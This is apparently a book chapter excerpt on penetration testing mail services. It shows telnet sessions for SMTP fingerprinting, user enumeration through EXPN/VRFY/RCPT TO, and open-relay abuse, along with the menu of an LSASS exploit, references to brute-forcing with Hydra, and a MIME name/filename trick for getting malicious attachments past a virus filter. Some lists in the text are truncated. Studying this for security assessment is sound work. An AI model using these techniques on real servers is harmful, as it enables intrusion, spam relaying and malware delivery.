Accurate identification of the SMTP service enables you to make sound decisions and efficiently assess the target system. Two tools in particular perform a number of tests to ascertain the SMTP service in use:

Both tools are launched from Unix-like platforms. Example 11-1 shows the smtpmap tool in use, identifying the mail service on mail.trustmatta.com as Lotus Domino 5.0.9a.

$ smtpmap mail.trustmatta.com
smtp-map 0.8

Scanning mail.trustmatta.com ( [ 192.168.0.1 ] mail )
100 % done scan

According to configuration the server matches the following :
  Version                                       Probability
Lotus Domino Server 5.0.9a                      100 %
Microsoft MAIL Service, Version: 5.5.1877.197.1 90.2412 %
Microsoft MAIL Service, Version: 5.0.2195.2966  87.6661 %

According to RFC the server matches the following :
  Version                                       Probability
Lotus Domino Server 5.0.9a                      100 %
AnalogX Proxy 4.10                              85.4869 %
Sendmail 8.10.1                                 76.1912 %

Overall Fingerprinting the server matches the following :
  Version                                       Probability
Lotus Domino Server 5.0.9a                      100 %
Exim 4.04                                       67.7031 %
Exim 4.10 (without auth)                        66.7393 %

The smtpscan tool analyzes slightly different aspects of the SMTP service, predicting that the same SMTP service is Lotus Domino 5.0.8, as shown in Example 11-2.

$ smtpscan mail.trustmatta.com
smtpscan version 0.1

  Scanning mail.trustmatta.com (192.168.0.1) port 25
  15 tests available
  77 fingerprints in the database

...............

Result --
250:501:501:250:501:250:250:214:252:252:502:250:250:250:250
SMTP server corresponding :
  - Lotus Domino Release 5.0.8

Most of the time an accurate SMTP service banner is presented, so deep analysis isn’t required. Example 11-3 shows that the mail server is running Lotus Domino version 6 beta.

$ telnet mail.trustmatta.com 25

Trying 192.168.0.1...
Connected to mail.trustmatta.com.
Escape character is '^]'.
220 mail.trustmatta.com ESMTP Service (Lotus Domino Build V65_M2)
ready at Tue, 30 Sep 2003 16:34:33 +0100

A number of exploitable issues in SMTP services such as Microsoft Exchange depend on support for certain Extended SMTP (ESMTP) features. These subsystems and features are enumerated by issuing an EHLO command upon connecting to the target SMTP server, as shown in Example 11-4.

$ telnet 192.168.0.104

Trying 192.168.0.104...
Connected to 192.168.0.104.
Escape character is '^]'.
220 uranus.local Microsoft ESMTP MAIL Service, Version: 6.0.3790.1830 ready
at  Wed, 27 Jun 2007 21:38:52 +0200
EHLO world
250-uranus.local Hello [192.168.0.15]
250-TURN
250-SIZE
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250-X-EXPS GSSAPI NTLM
250-AUTH GSSAPI NTLM
250-X-LINK2STATE
250-XEXCH50
250 OK
QUIT
221 2.0.0 uranus.local Service closing transmission channel

You can find details of Extended SMTP features online at http://en.wikipedia.org/wiki/smtp_extension.

Upon identifying an SMTP server that support authentication (AUTH) methods, as shown in Example 11-5, we can perform a brute-force password grinding attack to compromise valid credentials.

$ telnet mail.example.org 25
Trying 192.168.0.25...
Connected to 192.168.0.25.
Escape character is '^]'.
220 mail.example.org ESMTP
EHLO world
250-mail.example.org
250-AUTH LOGIN CRAM-MD5 PLAIN
250-AUTH=LOGIN CRAM-MD5 PLAIN
250-STARTTLS
250-PIPELINING
250 8BITMIME

The SMTP server at mail.example.org supports three very common authentication types, as follows:

The LOGIN authentication mechanism can be attacked using THC Hydra using the smtp-auth command-line option to perform brute-force password grinding for known user accounts. Other less common SMTP authentication mechanisms, supported by other mail servers, include:

Unfortunately, publicly available brute-force password grinding tools don’t exist for these authentication mechanisms at this time. Deeper technical discussion of various authentication mechanisms can be undertaken through reviewing the respective RFC documents and browsing Wikipedia.

$ ./exploits/asn1/asn1.py

Available versions:
        0 : Autoversioning N/A
        1 : Exploit LSASS.EXE through SMB (use default, port: 445)
        2 : Exploit LSASS.EXE through IIS (use default, port: 80)
        3 : Exploit LSASS.EXE through IIS HTTPS (use default, port: 443)
        4 : Exploit LSASS.EXE through NETBIOS (use default, port: 139)
        5 : Exploit LSASS.EXE through EXCHANGE (use default, port: 25, unstable)

Poorly configured SMTP services are used to relay unsolicited email, in much the same way as open web proxy servers. Example 11-6 shows a poorly configured Microsoft Exchange server being abused by an attacker to relay email. Increasingly, open SMTP relays exist through the use of weak passwords, which are brute-forced using the mechanisms discussed in the previous section.

$ telnet mail.example.org 25
Trying 192.168.0.25...
Connected to 192.168.0.25.
Escape character is '^]'.
220 mail.example.org Microsoft ESMTP MAIL Service, Version: 5.0.2195.5329 ready
at  Sun, 5 Oct 2003 18:50:59 +0100
HELO
250 mail.example.org Hello [192.168.0.1]
MAIL FROM: [email protected]
250 2.1.0 [email protected] OK
RCPT TO: [email protected]
250 2.1.5 [email protected]" CLASS="URL">[email protected]
DATA
354 Start mail input; end with <CRLF>.<CRLF>
This is a spam test!
.
250 2.6.0 <[email protected]> Queued mail for delivery
QUIT

Most systems respond to a RCPT TO: request in the following manner if you attempt to relay unsolicited email through them:

RCPT TO: [email protected]
550 5.7.1 Unable to relay for [email protected]

Microsoft KB article 324958 (http://support.microsoft.com/?kbid=324958) describes how to secure open SMTP relays when using Microsoft Exchange.

Most Unix-based systems run Sendmail, including Linux, Solaris, OpenBSD, and others. Sendmail is particularly vulnerable to information leak attacks in which local account usernames can be extracted, and also process manipulation attacks in which Sendmail functions such as prescan( ) are abused to execute arbitrary code.

$ telnet mx4.sun.com 25
Trying 192.18.42.14...
Connected to nwkea-mail-2.sun.com.
Escape character is '^]'.
220 nwkea-mail-2.sun.com ESMTP Sendmail ready at Tue, 7 Jan 2003 02:25:20 −0800 (PST)
HELO world
250 nwkea-mail-2.sun.com Hello no-dns-yet.demon.co.uk [62.49.20.20] (may be
forged), pleased to meet you
HELP
214-This is Sendmail version 8.9.3+Sun
214-Commands:
214-    HELO    MAIL    RCPT    DATA    RSET
214-    NOOP    QUIT    HELP    VRFY    EXPN
214-For more info use "HELP <topic>".
214-smtp
214-To report bugs in the implementation contact Sun Microsystems
214-Technical Support.
214-For local information contact postmaster at this site.
214 End of HELP info

$ telnet 10.0.10.11 25
Trying 10.0.10.11...
Connected to 10.0.10.11.
Escape character is '^]'.
220 mail2 ESMTP Sendmail 8.12.6/8.12.5 ready at Wed, 8 Jan 2003 03:19:58 −0700 (MST)
HELO world
250 mail2 Hello onyx [192.168.0.252] (may be forged), pleased to meet you
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <[email protected]>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>

$ telnet 10.0.10.11 25
Trying 10.0.10.11...
Connected to 10.0.10.11.
Escape character is '^]'.
220 mail2 ESMTP Sendmail 8.12.6/8.12.5 ready at Wed, 8 Jan 2003 03:19:58 −0700 (MST)
HELO world
250 mail2 Hello onyx [192.168.0.252] (may be forged), pleased to meet you
VRFY test
550 5.1.1 test... User unknown
VRFY chris
250 2.1.5 Chris McNab <chris@mail2>

$ telnet 10.0.10.11 25
Trying 10.0.10.11...
Connected to 10.0.10.11.
Escape character is '^]'.
220 mail2 ESMTP Sendmail 8.12.6/8.12.5 ready at Wed, 8 Jan 2003 03:19:58 −0700 (MST)
HELO world
250 mail2 Hello onyx [192.168.0.252] (may be forged), pleased to meet you
MAIL FROM:[email protected]
250 2.1.0 [email protected]... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:chris
250 2.1.5 chris... Recipient ok

$ telnet 10.0.10.10 25
Trying 10.0.10.10...
Connected to 10.0.10.10.
Escape character is '^]'.
220 ************************0*0*0*0*0*0*******2******2002********0
HELO world
250 mailserv.trustmatta.com Hello onyx [192.168.0.252], pleased to meet you
EXPN test
500 5.5.1 Command unrecognized: "XXXX test"
VRFY test
500 5.5.1 Command unrecognized: "XXXX test"
HELP
500 5.5.1 Command unrecognized: "XXXX"
MAIL FROM:[email protected]
250 2.1.0 [email protected]... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:chris
250 2.1.5 chris... Recipient ok
RCPT TO:nick
250 2.1.5 nick... Recipient ok

A number of serious remotely exploitable issues have been identified in the Microsoft Exchange SMTP service over the last few years. A number of zero-day denial-of-service issues also exist in Microsoft Exchange at the time of this writing, one of which is found in the Argeniss exploit pack for Immunity CANVAS. In light of this, it is not advisable to run the service exposed to the public Internet. Table 11-2 lists remotely exploitable issues as found in MITRE CVE at the time of this writing.

Many organizations run inbound SMTP relay servers that can scrub email to detect and remove viruses, spam, and other adverse material before forwarding the email message to the internal network. These services can be circumvented and bypassed in some cases, as discussed next.

In 2000, I identified a serious flaw in Clearswift MAILsweeper 4.2 that used malformed MIME headers to relay viruses without being quarantined. Since then, other security issues have been identified within MAILsweeper that can relay viruses unchecked. Table 11-3 summarizes the issues identified in MAILsweeper as listed in the MITRE CVE list at http://cve.mitre.org.

The malformed MIME headers issue was reported to the vendor in February 2001 and is listed in Table 11-3 as CVE-2003-1330. The technique was extremely simple, involving two MIME fields related to email attachments (filename and name).

Example 11-12 shows a legitimate email message and attachment generated by Outlook or any current email client, from [email protected] to [email protected] with the text/plain attachment report.txt.

From: John Smith <[email protected]>
To: Mickey Mouse <[email protected]>
Subject: That report
Date: Thurs, 22 Feb 2001 13:38:19 −0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.23)
Content-Type: multipart/mixed ;
boundary="----_=_NextPart_000_02D35B68.BA121FA3"
Status: RO

This message is in MIME format. Since your mail reader doesn't
understand this format, some or all of this message may not be
legible.

- ------_=_NextPart_000_02D35B68.BA121FA3
Content-Type: text/plain; charset="iso-8859-1"

Mickey,

Here's that report you were after.

- ------_=_NextPart_000_02D35B68.BA121FA3
Content-Type: text/plain;
        name="report.txt"
Content-Disposition: attachment;
        filename="report.txt"

< data for the text document here >

- ------_=_NextPart_000_02D35B68.BA121FA3

The vulnerability exists in the way that the MAILsweeper SMTP relay and Outlook email clients open the report.txt file. The MAILsweeper gateway reads the name value (report.txt) when processing and scanning the file for viruses and malicious code, and the Outlook client reads the filename value (report.txt) when opening and processing the file on the user desktop.

Any type of malicious virus or Trojan horse program can pass through this filter and make its way to the user desktop by modifying the MIME name and filename values. To send a malicious executable, set the name to an unobjectionable value that won’t be processed for virus code (report.txt) and the filename value to a type that won’t be executed client-side (report.vbs), as shown here:

- ------_=_NextPart_000_02D35B68.BA121FA3
Content-Type: text/plain;
        name="report.txt"
Content-Disposition: attachment;
        filename="report.vbs"

There are plenty of these issues within filtering packages such as MAILsweeper. It is therefore important that networks are set up with defense in depth to prevent known viruses from being pushed through such filters and making their way to the user desktop.

To learn more, check CVE-2002-1121 in the MITRE CVE list at http://cve.mitre.org, which relates to RFC 2046 message fragmentation and assembly. The following SMTP gateway products are susceptible to mail-fragmentation issues:

After performing enumeration and identifying local user accounts through Sendmail and other avenues, it is trivial to perform a brute-force password grinding attack. As I’ve discussed throughout the book so far, tools such as Brutus and THC Hydra are used to perform fast brute-force password grinding attacks.

Most POP-3 services are susceptible to brute-force password grinding, for the following reasons:

Many specific Unix-based POP-3 brute-force tools exist and can be found in the Packet Storm archive, including:

Both unauthenticated and authenticated process manipulation attacks pose a serious threat to security. Most users who pick up email via POP-3 shouldn’t be allowed to execute arbitrary commands on the POP-3 server; however, they can do so via post-authentication overflows in user commands such as LIST, RETR, or DELE.

As with many other simple plaintext protocols (Telnet, FTP, POP-3, etc.), Brutus and THC Hydra do a good job of brute-forcing user account passwords from both Unix-based and Windows environments. As mentioned earlier, they can be downloaded from:

IMAP services, like POP-3, are notoriously susceptible to brute-force password-grinding attacks, as they often do not pay attention to account lockout policies and often do not log failed authentication attempts.

Table 11-5 lists remotely exploitable UW IMAP and Courier IMAP vulnerabilities, along with MITRE CVE references. At this time, no significant remotely exploitable issues exist in Microsoft Exchange IMAP, according to a number of sources. A number of other issues relate to many other third-party IMAP services that are less common and can be found by searching MITRE CVE manually.